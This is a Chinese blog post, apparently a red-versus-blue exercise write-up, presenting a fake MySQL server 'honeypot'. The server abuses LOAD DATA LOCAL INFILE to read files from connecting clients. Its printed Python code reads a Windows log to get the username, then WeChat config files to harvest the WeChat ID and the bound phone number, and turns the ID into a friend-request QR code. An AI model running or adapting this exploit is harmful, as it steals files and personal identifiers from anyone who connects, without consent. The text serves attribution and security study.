红蓝对抗 | 蜜罐获取攻击者微信ID及手机号

VSole2022-05-16 06:44:15

0x00 前言

之前在打CTF的时候,多次遇到了这个漏洞。

攻防演练期间,研究了一下蜜罐的骚操作,比如获取百度ID、CSDN账号、微信ID等等,对攻击者进行攻击者画像。

学习了一下原理,然后做了一些改进,利用MySQL的漏洞,获取攻击者手机号。

本系统代码非完全原创,部分代码参照

https://github.com/qigpig/MysqlHoneypot。

关于MySQL任意文件读取漏洞,网上很多大佬写了很详细的分析文章,本文不再复述。

同时,如果想复现漏洞,也可选取github上其他更加简洁的单文件server代码。

0x01 漏洞相关

1.1 漏洞简介

Fake MySQL顾名思义,就是虚假的MySQL。

其实这个名词是我个人习惯的称呼,关于完整的定义目前在网上没有一个公认的说法。

以下均为个人理解,如有问题,欢迎指正。

Fake MySQL是基于构造一个伪装的MySQL服务器,通过命令或诱导来使受害者连接此服务器,从而利用MySQL的相关漏洞进行文件读取,或者反序列化利用。

本文不涉及反序列化的利用,可以简单理解为一个MySQL蜜罐,利用漏洞为LOAD DATA LOCAL INFILE的任意文件读取。

以上就是本文全部废话了,话不多说,直接进入正题。

1.2 漏洞复现及利用

文字废话太多,直接上图吧。

如图所示当我在服务器上运行payload代码,并设置我想要读取的文件,即可进入监听模式。

当攻击者连接我的3306端口,即可成功读取到攻击者电脑上的对应文件。

Linux同理,可以读取/etc/passwd等文件。

那么,可以读文件,进一步怎样拓展呢?

根据大佬的文章,我们可以通过读取C:\Windows\PFRO.log文件来获取攻击者的用户名,根据用户名读取相应文件夹中的微信配置文件,进而获取微信ID。

前提是微信文件保存路径为默认。

获取用户名,如图所示

但这种方式的缺点是,只能单文件读取,每次需要重新设置文件名,不能实现循环读取。

于是,根据https://github.com/qigpig/MysqlHoneypot中的部分代码,进行进一步的完善和修改,就有了下面的内容

0x02 工具相关

关注公众号:系统安全运维,回复:666领取资料 。

2.1 代码相关

开门见山,本系统代码乍一看很完美,但以普遍理性而论,仅适用于读取windows系统的文件。

先看核心代码

def mysql_get_file_content(filename,conn,address):
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)
    conn.sendall("xxx")
    try:
        conn.recv(1024000)
    except Exception as e:
        print(e)
    try:
        conn.sendall("xx")
        res1 = conn.recv(1024000)
        # SHOW VARIABLES
        if 'SHOW VARIABLES' in res1:
            conn.sendall("xxx")
            res2 = conn.recv(9999)
            if 'SHOW WARNINGS' in res2:
                conn.sendall("xxx")
                res3 = conn.recv(9999)
                if 'SHOW COLLATION' in res3:
                    conn.sendall("xxx")
                    res4 = conn.recv(9999)
                    if 'SET NAMES utf8' in res4:
                        conn.sendall("xxx")
                        res5 = conn.recv(9999)
                        if 'SET character_set_results=NULL' in res5:
                            conn.sendall("xxx")
                            conn.close()
                    else:
                        conn.close()
                else:
                    conn.close()
            else:
                conn.close()
        else:
            try:
                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
                conn.sendall(wantfile)
                content=''
                while True:
                    data = conn.recv(1024)
                    print len(data)
                    content += data
                    if len(data) < 1024:
                        print 'ok'
                        break
                    
                conn.close()
                item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
                if len(content) > 6:
                    with open(item, "w") as f:
                        f.write(content)
                        f.close()
                    return (True,content)
                else:
                    return (False,content)
            except Exception as e:
                print (e)
    except Exception as e:
        print (e)

这段代码主要有两个作用:

1.判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
2.如果是直接连接,去读取设定好的文件,并写入本地保存。

PS:为了防止读取文件内容不完整,加入了while循环。

while True:
        conn, address = sv.accept()
        first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        global files1
        global username
        global wx_id
        file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
        res,content = mysql_get_file_content(file,conn,address)
        files1.append(files1[0])
        files1.remove(files1[0])
        if res:
            if 'PFRO' in file:
                username = get_username(content)
                s= "xx" % (xx)
                cursor.execute(s)
                data = cursor.fetchall()
                if len(data)==0:
                    s = "XX" % (xx)
                    cursor.execute(s)
                    db.commit()
                    print 'success:'+ file
                    insert_file(file,address,username)
            elif 'config.data'in file:
                content = content
                wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                wx_id=wxid
                img = qrcode.make('weixin://contacts/profile/'+wxid)
                img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') 
                print 'success:'+ file
                insert_file(file,address,username)
            elif 'AccInfo' in file:
                content = content
                phone = re.findall(r'[0-9]{11}', content)[-1]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                print 'success:'+ file
                insert_file(file,address,username)
        else:
            files1=files
            username='Administrator'

这段代码就是从文件内容获取信息并保存到数据库:

1.从C:/Windows/PFRO.log中读取用户名
2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取wx_id
3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号

根据wx_id可生成微信二维码,可添加好友

根据实际测试,就算关掉了所有好友申请条件,仍可通过此二维码发起好友申请。

剩下的代码无非就是,前端显示了,这里就不展示了,直接上效果图。

2.2 效果图

首先,docker启动。

本来想在80端口结合jsonp获取一下百度id以及其他信息

但无奈公开的接口都失效了,80端口只能作为一个诱饵了

下一步会研究一些如何获取百度等论坛的账号信息。

访问5000端口。

登录后

具体效果

目前实现了获取微信和手机号,对于溯源来说,已经足够用了。

2.3 吐槽相关

前前后后,修修改改,花了差不多五天时间才完全搞定,但还是存在bug,请多担待。

本来想增加linux文件的读取,但时间和精力有限,只能后续补上。

根据qigpig大佬的思路,本来想解决同一IP出口多用户的问题,但想来想去,只能通过用户名和IP进行双重绑定,如果读不到用户名,就没办法了。

职业不是程序员,写代码真的太难了。。。

0x03 写在最后

红队大佬可参考http://www.python88.com/topic/105651进行蜜罐甄别。

蓝队大佬不建议将本系统作为正式蜜罐部署,仅供参考和玩耍。

mysqlrecv
本作品采用《CC 协议》,转载必须注明作者和本文链接
复现 Mysql LOAD DATA INFILE 读取客户端任意文件漏洞
蜜罐又叫蜜罐Honeypot,蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
学习了一下原理,然后做了一些改进,利用MySQL的漏洞,获取攻击者手机号。关于MySQL任意文件读取漏洞,网上很多大佬写了很详细的分析文章,本文不再复述。
‍相关声明 以下内容仅限用于红蓝攻防对抗等专业领域,请勿用于非法用途。 杂谈 首先,我们先讲一下蜜罐的概念,你可以简单理解较为蜜罐就是一个陷阱,故意暴露一些我们人为设计好的漏洞,让攻击者自投罗网。 蜜罐介绍 蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,其没有业务上的用途,所有流入/流出蜜罐的流量都预示着扫描或者攻击行为,因此可以比较好的聚焦于攻击流量。 蜜罐可以实现对攻击者
之前在打CTF的时候,多次遇到了这个漏洞。 攻防演练期间,研究了一下蜜罐的骚操作,比如获取百度ID、CSDN账号、微信ID等等,对攻击者进行攻击者画像。 学习了一下原理,然后做了一些改进,利用MySQL的漏洞,获取攻击者手机号。 本系统代码非完全原创,部分代码参照 https://github.com/qigpig/MysqlHoneypot。 关于MySQL任意文件读取漏洞,网上很多大
简介pwcrack-framework是@L-codes师傅用Ruby写的一个密码自动破解框架,目前提供了22个在线破解和30个离线破解接口,支持53种算法破解。特点Ruby3.1+支持Linux/OSX/Windows平台运行支持在线和离线的进行破解密码明文支持自动分析密文算法调用插件破解提供简单的DSL编写插件配置java环境扩展,支持更多算法,可安装gem install rjb
靶机Agile补充图片
2023-03-22 10:04:15
Nmap done: 1 IP address scanned in 171.68 seconds. 添加host└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts. 注册个账号就读取了。我们可以在 python 中创建一个脚本,自动实现这个过程,只需要输入的文件路径└─# cat lfi.py. data = {"username": "123", "password": "123", "submit": ""}
什么是监听端口网络端口由其编号,关联的IP地址和通信协议的类型标识。侦听端口是应用程序或进程在其上侦听的网络端口,充当通信端点。一般而言,开放端口是一个网络端口,它接受来自远程位置的传入数据包。用netstat检查监听端口netstat是一个命令行工具,可以提供有关网络连接的信息。-显示侦听器进程的PID和名称。仅当你以root用户或 sudo 用户身份运行命令时,才会显示此信息。
文件包含利用思路
2021-12-10 21:28:32
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。????为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
针对DVWA编写一个用于辅助SQL注入的工具
VSole
网络安全专家